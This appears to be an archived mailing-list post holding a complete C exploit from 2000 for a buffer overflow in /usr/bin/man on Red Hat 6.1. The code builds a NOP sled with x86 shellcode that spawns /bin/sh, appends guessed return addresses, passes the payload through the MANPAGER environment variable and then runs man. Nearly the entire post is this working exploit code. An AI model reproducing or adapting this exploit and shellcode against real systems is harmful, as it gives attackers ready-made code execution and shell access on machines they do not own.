man exploit

[venglin () FREEBSD LUBLIN PL (Przemyslaw Frasunek)]

/*
 * (c) 2000 babcia padlina / b0f
 * (lcamtuf's idea)
 *
 * redhat 6.1 /usr/bin/man exploit
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>

#define NOP             0x90
#define OFS             1800
#define BUFSIZE         4002
#define ADDRS           1000

long getesp(void)
{
   __asm__("movl %esp, %eax\n");
}

int main(argc, argv)
int argc;
char **argv;
{
        char *execshell =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char *buf, *p;
        int noplen, i, ofs;
        long ret, *ap;

        if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
        {
                perror("malloc()");
                return -1;
        }

        if (argc > 1)
                ofs = atoi(argv[1]);
        else
                ofs = OFS;

        noplen = BUFSIZE - strlen(execshell);
        ret = getesp() + ofs;

        memset(buf, NOP, noplen);
        buf[noplen+1] = '\0';
        strcat(buf, execshell);

        p = buf + noplen + strlen(execshell);
        ap = (unsigned long *)p;

        for(i = 0; i < ADDRS / 4; i++)
                *ap++ = ret;

        p = (char *)ap;
        *p = '\0';

        fprintf(stderr, "RET: 0x%x  len: %d\n\n", ret, strlen(buf));

        setenv("MANPAGER", buf, 1);
        execl("/usr/bin/man", "man", "ls", 0);

        return 0;
}

--
* Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE *
* Inet: venglin () freebsd lublin pl ** PGP: D48684904685DF43  EA93AFA13BE170BF *